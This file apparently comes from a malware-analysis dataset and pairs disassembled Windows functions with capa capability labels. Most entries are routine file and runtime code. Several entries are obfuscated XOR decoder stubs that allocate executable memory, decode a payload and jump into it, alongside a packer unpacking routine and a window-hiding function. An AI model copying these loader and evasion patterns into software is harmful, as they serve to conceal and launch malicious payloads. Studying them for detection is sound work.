joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b431
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call fcn.0040af32
cmp edx, 0
jge 0x40b453
mov dword [esp], str.Unable_to_retrieve_size_of_the_file:_r_n_n_s
jmp 0x40b46f
mov esi, dword [ebp + 0x14]
mov edi, 0
jg 0x40b462
cmp eax, dword [ebp + 0x14]
jbe 0x40b4a9
cmp dword [ebp + 0x18], 0
je 0x40b4ad
mov dword [esp], str.The_file_is_too_large:_r_n_n_s
call fcn.00407595
mov dword [esp], 0x41f83e
mov esi, eax
call fcn.00407595
mov dword [esp + 0x10], ebx
mov dword [esp + 8], eax
mov dword [esp + 0xc], esi
mov dword [esp + 4], 0x10010
mov dword [esp], 0
call fcn.00407f10
xor eax, eax
jmp 0x40b564
mov esi, eax
mov edi, edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
mov dword [esp], ebx
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov ecx, eax
cmp eax, 0xffffffff
jne 0x40b4fb
mov dword [esp], str.Unable_to_open_the_file:_r_n_n_s
jmp 0x40b46f
lea eax, [ebp - 0x1c]
mov dword [esp], ecx
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], 0
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], esi
call sub.KERNEL32.dll_ReadFile
sub esp, 0x14
mov ecx, dword [ebp - 0x30]
mov dword [esp], ecx
call sub.KERNEL32.dll_CloseHandle
cmp edi, 0
push eax
mov eax, dword [ebp - 0x1c]
jl 0x40b54c
jg 0x40b540
cmp esi, eax
jbe 0x40b54c
mov dword [esp], str.Unable_to_read_the_file:_r_n_n_s
jmp 0x40b46f
mov eax, 1
cmp dword [ebp + 0x10], 0
je 0x40b564
mov eax, dword [ebp + 0x10]
mov edi, dword [ebp - 0x2c]
mov dword [eax], edi
mov eax, 1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40b56c
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov eax, 0x103c
mov ebp, esp
push edi
push esi
push ebx
call fcn.0041d1c0
sub esp, eax
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
test esi, esi
je 0x40b635
cmp byte [esi], 0
je 0x40b635
xor eax, eax
or ecx, 0xffffffff
mov edi, esi
repne scasb al, byte es:[edi]
mov edi, ebx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, ecx
not edx
not eax
lea eax, [edx + eax - 2]
cmp eax, 0xffe
ja 0x40b635
mov dword [esp], esi
call fcn.0040b293
mov edi, eax
test eax, eax
jne 0x40b605
mov dword [esp], str.Unable_to_create_the_directory_structure:_r_n_n_s
call fcn.00407595
mov dword [esp], 0x41f83e
mov ebx, eax
call fcn.00407595
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x10010
mov dword [esp], 0
call fcn.00407f10
jmp 0x40b74a
mov dword [esp + 4], esi
lea esi, [ebp - 0x1018]
mov dword [esp], esi
call sub.msvcrt.dll_strcpy
mov dword [esp + 4], 0x41f85b
mov dword [esp], esi
call sub.msvcrt.dll_strcat
mov dword [esp + 4], ebx
mov dword [esp], esi
mov ebx, esi
call sub.msvcrt.dll_strcat
mov dword [esp], ebx
call fcn.0040af32
test edx, edx
js 0x40b680
mov dword [esp], str.The_file_already_exists:_r_n_n_s_r_n_nOverwrite_it_now_
call fcn.00407595
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call fcn.00407e69
test eax, eax
jne 0x40b677
mov edi, 1
jmp 0x40b74a
mov dword [esp], ebx
call sub.KERNEL32.dll_DeleteFileA
push edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov dword [esp], ebx
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov esi, eax
cmp eax, 0xffffffff
jne 0x40b6cb
mov dword [esp], str.Unable_to_create_the_file:_r_n_n_s
jmp 0x40b715
lea eax, [ebp - 0x101c]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov dword [esp], esi
call sub.KERNEL32.dll_CloseHandle
push eax
mov eax, dword [ebp - 0x101c]
cmp dword [ebp + 0x14], eax
jbe 0x40b66d
mov dword [esp], str.Unable_to_write_the_file:_r_n_n_s
call fcn.00407595
mov dword [esp], 0x41f83e
mov esi, eax
call fcn.00407595
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], esi
mov dword [esp + 8], eax
mov dword [esp + 4], 0x10010
mov dword [esp], 0
xor edi, edi
call fcn.00407f10
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40caba
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov eax, dword [ebp + 0x18]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x28]
cmp dword [ebp + 0xc], 0x203
mov dword [ebp - 0x28], eax
setbe dl
cmp dword [ebp + 0x2c], 0
sete al
or dl, al
jne 0x40caf1
test edi, edi
jne 0x40caf8
xor eax, eax
jmp 0x40cbcf
cmp word [edi], 0x5a4d
jne 0x40caf1
mov eax, dword [edi + 0x3c]
add eax, edi
cmp dword [eax], 0x4550
jne 0x40caf1
movzx edx, word [eax + 0x14]
xor ebx, ebx
lea esi, [eax + edx + 0x18]
movzx eax, word [eax + 6]
mov dword [ebp - 0x1c], eax
cmp ebx, dword [ebp - 0x1c]
jae 0x40caf1
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], 8
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_strncmp
test eax, eax
jne 0x40cbc6
mov ebx, dword [esi + 0x14]
mov ecx, dword [ebp + 0x14]
movzx eax, word [ebp - 0x20]
add ebx, edi
mov dword [esp], eax
mov edx, ebx
mov eax, ebx
call fcn.0040ca7c
test eax, eax
je 0x40caf1
movzx edx, word [ebp - 0x24]
mov ecx, dword [ebp + 0x1c]
mov dword [esp], edx
mov edx, eax
mov eax, ebx
call fcn.0040ca7c
mov edx, eax
test eax, eax
je 0x40caf1
cmp dword [ebp + 0x24], 0
je 0x40cb8c
mov ecx, dword [ebp + 0x24]
mov eax, ebx
call fcn.0040ca0c
jmp 0x40cb97
movzx ecx, word [ebp - 0x28]
mov eax, ebx
call fcn.0040c9d0
test eax, eax
je 0x40caf1
cmp byte [eax + 7], 0
js 0x40caf1
add ebx, dword [eax + 4]
je 0x40caf1
mov eax, dword [esi + 0x14]
mov ecx, dword [ebp + 0x2c]
add eax, dword [ebx]
mov edx, dword [ebx + 4]
sub eax, dword [esi + 0xc]
mov dword [ecx], edx
add eax, edi
jmp 0x40cbcf
add esi, 0x28
inc ebx
jmp 0x40cb1d
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x41b9b9
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov ebx, dword [0x468d20]
test ebx, ebx
jne 0x41bb03
mov esi, eax
mov eax, dword [str.WNASPI32.DLL]
mov dword [esp], eax
mov dword [0x468d20], 0xffffffff
call sub.KERNEL32.dll_LoadLibraryA
mov dword [0x468e08], eax
test eax, eax
push ecx
jne 0x41ba1b
mov ebx, dword [esi]
mov edx, str.___aspiStartup.LoadLibrary
mov eax, ebx
call fcn.0041b9a6
mov eax, dword [str.WNASPI32.DLL]
mov dword [esp + 8], eax
mov dword [esp + 4], str._____s__was_the__specified_module__n
mov dword [esp], ebx
call sub.msvcrt.dll_fprintf
jmp 0x41ba3d
mov dword [esp + 4], str.GetASPI32SupportInfo
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
push edx
push edx
jne 0x41ba45
mov edx, str.___aspiStartup.GetProcAddress.GetASPI32SupportInfo
mov eax, dword [esi]
call fcn.0041b9a6
or ebx, 0xffffffff
jmp 0x41bb03
mov dword [0x468e00], eax
mov eax, dword [0x468e08]
mov dword [esp + 4], str.SendASPI32Command
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
mov edx, str.___aspiStartup.GetProcAddress.SendASPI32Command
mov dword [0x468e14], eax
test eax, eax
push ecx
push ecx
je 0x41ba36
mov eax, dword [0x468e08]
mov dword [esp + 4], str.GetASPI32Buffer
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
mov dword [0x468e10], eax
mov eax, dword [0x468e08]
push edx
push edx
mov dword [esp + 4], str.FreeASPI32Buffer
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
mov dword [0x468e04], eax
mov eax, dword [0x468e08]
push ecx
push ecx
mov dword [esp + 4], str.TranslateASPI32Address
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
mov dword [0x468e0c], eax
push edx
push edx
call dword [0x468e00]
movzx ecx, ah
movzx edx, al
dec ecx
je 0x41baf1
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
mov dword [esp + 4], str.___aspiStartup.GetASPI32SupportInfo__x_lX___ld__n
mov eax, dword [esi]
mov dword [esp], eax
call sub.msvcrt.dll_fprintf
jmp 0x41ba3d
lea eax, [edx - 1]
mov dword [0x468d20], 1
mov dword [0x41e080], eax
lea esp, [ebp - 8]
mov eax, ebx
pop ebx
pop esi
pop ebp
ret

Function at 0x41cbb0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x28
mov ebx, dword [sym.imp.msvcrt.dll__iob]
lea eax, [esp + 0x34]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
add ebx, 0x40
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
mov dword [esp + 0x1c], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x1c]
mov dword [esp], ebx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
lea edi, [edi]
Function at 0x41cc10
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x5c
mov dword [esp + 0x4c], ebx
mov ebx, eax
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 0x50], esi
mov esi, edx
mov dword [esp + 0x54], edi
mov edi, ecx
mov dword [esp + 0x58], ebp
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x41cd06
mov eax, dword [esp + 0x38]
cmp eax, 4
jne 0x41cc80
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov ebx, dword [esp + 0x4c]
mov esi, dword [esp + 0x50]
mov edi, dword [esp + 0x54]
mov ebp, dword [esp + 0x58]
add esp, 0x5c
ret
cmp eax, 0x40
je 0x41cc55
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov eax, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
cmp eax, 0x40
setne byte [esp + 0x1e]
cmp eax, 4
setne byte [esp + 0x1f]
call sub.msvcrt.dll_memcpy
cmp byte [esp + 0x1f], 0
je 0x41cc65
cmp byte [esp + 0x1e], 0
je 0x41cc65
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
jmp 0x41cc65
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.0041cbb0
nop

Function at 0x41cfa0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x468d4c
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x468d64]
sub esp, 4
test ebx, ebx
je 0x41cfeb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x41cfe4
test esi, esi
je 0x41cfe4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x41cfc0
mov dword [esp], 0x468d4c
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x41d700
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call fcn.0041cf80
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x41d736
jmp 0x41d775
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
je 0x41d733
cmp al, 0x20
je 0x41d733
cmp al, 0x22
jne 0x41d759
jmp 0x41d7c4
cmp al, 0x20
lea esi, [esi]
je 0x41d760
test al, al
je 0x41d775
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
jne 0x41d747
movzx eax, byte [ebx]
cmp al, 0x20
jne 0x41d7da
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
je 0x41d767
cmp al, 0x20
je 0x41d767
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x41d784
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.004021c0
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
cmp al, 0x22
je 0x41d7ce
add ebx, 1
movzx eax, byte [ebx]
test al, al
jne 0x41d7c0
cmp al, 0x22
sete al
movzx eax, al
add ebx, eax
jmp 0x41d760
cmp al, 9
je 0x41d767
jmp 0x41d775
Function at 0x40e447
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x40e456
pop dword [ebp - 0x44]
mov eax, 0xae181d0a
add eax, 0x5228c74c
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x3da4a
push 0
mov eax, 0x4af9829d
add eax, 0xb548cf7b
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0x476a
mov esi, eax
mov edi, 0xf1206d9d
add edi, 0xf22e663
add edi, dword [ebp - 0x44]
mov edx, 0x1a090360
add edx, 0xe3471b3c
mov ebx, dword [edi]
sub dword [ebp - 0xc], 0x3b461e40
xor ebx, edx
xor dword [ebp - 0x14], 0x80a3fb4b
mov dword [esi], ebx
xor dword [ebp - 0x38], ecx
add esi, 4
add edi, 4
loop 0x40e4af
add eax, 0x298f2ede
sub eax, 0x298e1e63
xor ebx, ebx
add ebx, eax
add eax, 0x1503ee71
add eax, 0xeafc1194
mov ecx, 0x8cfb5153
sub ecx, 0x8cbb5153
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x408b8e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x408b9d
pop dword [ebp - 0x4c]
mov eax, 0x644f6ae5
add eax, 0x9bf120b8
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x37334
push 0
mov eax, 0x6b647459
sub eax, 0x6b239381
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x830e677a
add ecx, 0x7cf1d880
mov ebx, eax
mov esi, 0xf0ac80fd
add esi, 0xf94bac7
add esi, dword [ebp - 0x4c]
mov edx, 0xac527175
add edx, 0xd56f7f8
add dword [ebp - 0x14], eax
mov edi, dword [esi]
mov dword [ebp - 0x18], 0xb4fe2993
add edi, edx
mov dword [ebx], edi
xor dword [ebp - 0x28], 0x1c1c437f
add ebx, 0xc2d1ee27
sub ebx, 0xc2d1ee23
add esi, 4
loop 0x408bfc
add eax, 0x63c321b2
add eax, 0x9c3dd109
mov ebx, eax
add eax, 5
mov ecx, 0x630571d2
sub ecx, 0x62c571d2
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x10011953
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x10011962
pop dword [ebp - 0x2c]
mov eax, 0x10011962
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x3917b
push 0
mov eax, 0x7f61285e
sub eax, 0x6f5fa70e
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x85d9b14a
sub ecx, 0x85d96ad0
xor edi, edi
add edi, eax
mov ebx, 0x781e7b89
add ebx, 0x97e43a77
add ebx, dword [ebp - 0x2c]
mov esi, 0xa3c69161
add esi, 0x14d4dce4
xor dword [ebp - 0x20], 0xd3fae2bd
mov edx, dword [ebx]
add dword [ebp - 0x14], ecx
sub edx, esi
sub dword [ebp - 0x1c], edi
mov dword [edi], edx
xor dword [ebp - 0xc], 0xba2a17a
add edi, 0x98ddfa54
sub edi, 0x98ddfa50
add ebx, 4
loop 0x100119be
add eax, 0x3494793d
sub eax, 0x34936c82
mov ebx, eax
add eax, 0x782cc550
sub eax, 0x782cc54b
mov ecx, 0xeacb6f21
add ecx, 0x253490df
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40e7b4
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x18], 0
and dword [eax + 0x14], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret 4

Function at 0x412857
Capabilities:
Get common file path

Disassembly:
push dword [esp + 4]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
neg eax
sbb eax, eax
neg eax
ret 8

Function at 0x40b240
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x407015
lea edi, [esi - 0x6015]
push edi
or ebp, 0xffffffff
jmp 0x40b262
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40b269
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40b258
mov eax, 1
add ebx, ebx
jne 0x40b27b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40b270
jne 0x40b28c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40b270
xor ecx, ecx
sub eax, 3
jb 0x40b2a0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40b312
mov ebp, eax
add ebx, ebx
jne 0x40b2ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40b2b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40b2dc
inc ecx
add ebx, ebx
jne 0x40b2c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40b2bd
jne 0x40b2d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40b2bd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40b2fc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40b2ed
jmp 0x40b25e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40b2fc
add edi, ecx
jmp 0x40b25e
pop esi
mov edi, esi
mov ecx, 0x3a00
jmp 0x40b34d
mov al, byte [edi]
inc edi
cmp al, 0x80
jb 0x40b32d
cmp al, 0x8f
ja 0x40b32d
cmp byte [edi - 2], 0xf
je 0x40b333
sub al, 0xe8
cmp al, 1
ja 0x40b357
cmp ecx, 4
jb 0x40b35c
mov eax, dword [edi]
sub al, 0
jne 0x40b357
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
sub ecx, 4
stosd dword es:[edi], eax
sub ecx, 1
jb 0x40b35c
mov al, byte [edi]
inc edi
jmp 0x40b32d
sub ecx, 1
jae 0x40b31c
lea edi, [esi + 0x9000]
mov eax, dword [edi]
or eax, eax
je 0x40b3a4
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd6b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd724]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40b362
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd72c]
or eax, eax
je 0x40b39e
mov dword [ebx], eax
add ebx, 4
jmp 0x40b37f
call dword [esi + 0xd728]
mov ebp, dword [esi + 0xd730]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40b3d8
sub esp, 0xffffff80
jmp 0x40207b
Function at 0x10018c0e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x10018c1d
pop dword [ebp - 0x3c]
mov eax, 0x196f328a
sub eax, 0x96da66d
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xdb9a778e
add dword [ebp - 0x4c], 0x72b7cdbd
mov dword [ebp - 0x48], 0x31743d8
add dword [ebp - 0x48], 0x2f1c086d
mov dword [ebp - 0x44], 0x34d7eb1a
add dword [ebp - 0x44], 0x17745914
mov dword [ebp - 0x40], 0x4880c42c
sub dword [ebp - 0x40], 0x4880c42c
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x4719eed
sub eax, 0xf46faead
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x249fed04
sub dword [ebp - 0x4c], 0xb02d83ae
mov dword [ebp - 0x48], 0xb271f4a2
sub dword [ebp - 0x48], 0x7105932d
mov dword [ebp - 0x44], 0xd8cdb458
add dword [ebp - 0x44], 0x8aa1b814
mov dword [ebp - 0x40], 0x9124c54d
sub dword [ebp - 0x40], 0x9124c54d
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3d2bc
push 0
call eax
mov ecx, 0x58e1
mov edx, eax
mov ebx, 0x1002f200
add ebx, dword [ebp - 0x3c]
mov edi, 0xdc46a451
add edi, 0x1b01121e
add dword [ebp - 0x34], 0x9a5d6107
mov esi, dword [ebx]
add dword [ebp - 0x14], 0xe042fec5
add esi, edi
mov dword [edx], esi
xor dword [ebp - 0x18], 0xb78c70d0
add edx, 0x92d4e272
sub edx, 0x92d4e26e
add ebx, 4
loop 0x10018d2e
add eax, 0x8ed3c0ae
add eax, 0x712d95a9
mov ebx, eax
add eax, 0xb618efbb
add eax, 0x49e7104a
mov ecx, 0xa62de233
add ecx, 0x69d21dcd
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x1001c020
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call edi
sub eax, dword [esi + 0x289c]
push 1
cdq
sub eax, edx
sar eax, 1
mov dword [esi + 0x292c], eax
call edi
sub eax, dword [esi + 0x28a0]
cdq
sub eax, edx
sar eax, 1
mov dword [esi + 0x2930], eax
mov eax, dword [esi + 0x2d50]
test eax, eax
je 0x1001c08f
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [esi + 0x28a0]
push dword [esi + 0x289c]
push dword [esi + 0x2930]
push dword [esi + 0x292c]
push dword [esi + 0x2d50]
call dword [sym.imp.USER32.dll_MoveWindow]
push esi
call fcn.10018c0e
pop ecx
pop edi
pop esi
ret

Function at 0x1001e4ea
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10029008]
jne 0x1001e4f4
repz ret
jmp fcn.1001ea43
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x401c66
pop dword [ebp - 0x44]
mov eax, 0xed4e5b3b
add eax, 0x12f1c12b
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xcd35243d
sub dword [ebp - 0x54], 0x7ee2def2
mov dword [ebp - 0x50], 0xbfbacc6e
sub dword [ebp - 0x50], 0x8d878029
mov dword [ebp - 0x4c], 0xb94d897d
sub dword [ebp - 0x4c], 0x6d01454f
mov dword [ebp - 0x48], 0x65ed855b
sub dword [ebp - 0x48], 0x65ed855b
lea eax, [ebp - 0x54]
push eax
mov eax, 0xfd4207de
add eax, 0x2fe2876
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x73d9abee
sub dword [ebp - 0x54], 0xff674298
mov dword [ebp - 0x50], 0xe87f92e
add dword [ebp - 0x50], 0x32e46847
mov dword [ebp - 0x4c], 0xdcbd9a0
add dword [ebp - 0x4c], 0x55a392cc
mov dword [ebp - 0x48], 0x928f0e62
add dword [ebp - 0x48], 0x6d70f19e
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x7cfda320
sub eax, 0x7cbd72f4
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3538e
push 0
call eax
mov ecx, 0xed887056
add ecx, 0x1277d2a1
mov edi, eax
mov ebx, 0x407000
add ebx, dword [ebp - 0x44]
mov edx, 0xb321fff9
sub edx, 0xd13c6be2
add dword [ebp - 0x34], 0xcac8a26a
mov esi, dword [ebx]
sub dword [ebp - 0x20], 0x7c5b659f
add esi, edx
add dword [ebp - 0x38], 0xec737e7e
mov dword [edi], esi
xor dword [ebp - 0x20], 0xc99740ce
add edi, 0x30770c1b
sub edi, 0x30770c17
add ebx, 4
loop 0x401d82
add eax, 0xfd81ad78
add eax, 0x27f5137
xor ebx, ebx
add ebx, eax
add eax, 0x1f6e2b2e
sub eax, 0x1f6e2b29
mov ecx, 0x3a30e0a4
sub ecx, 0x39f0e0a4
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret